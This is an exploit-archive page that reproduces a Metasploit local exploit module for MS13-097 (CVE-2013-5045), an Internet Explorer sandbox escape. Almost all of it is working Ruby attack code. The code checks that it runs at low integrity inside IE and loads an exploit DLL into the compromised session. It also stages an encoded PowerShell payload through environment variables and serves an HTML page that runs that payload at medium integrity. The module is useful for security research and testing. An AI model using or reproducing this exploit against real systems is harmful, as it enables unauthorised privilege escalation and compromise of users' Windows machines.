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MS13-097 Registry Symlink IE Sandbox Escape Exploit
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
'Description' => %q{
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
component, which can be abused to force medium integrity IE to user influenced keys.
By using registry symlinks it's possible force IE to add a policy entry in the registry
and finally bypass Enhanced Protected Mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Vulnerability Discovery and original exploit code
'juan vazquez' # metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'IE 8 - 11', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 10 2013",
'References' =>
[
['CVE', '2013-5045'],
['MSB', 'MS13-097'],
['BID', '64115'],
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
]
))
register_options(
[
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
])
end
def exploit
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
if mod_handle['return'] == 0
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
end
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
end
begin
Timeout.timeout(datastore['DELAY']) { super }
rescue Timeout::Error
end
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
end
def primer
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
temp = get_env('TEMP')
print_status("Loading Exploit Library...")
session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end
def on_request_uri(cli, request)
if request.uri =~ /\.html$/
print_status("Sending window close html...")
close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
eos
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
else
send_not_found(cli)
end
end
end
# 0day.today [2024-11-14] #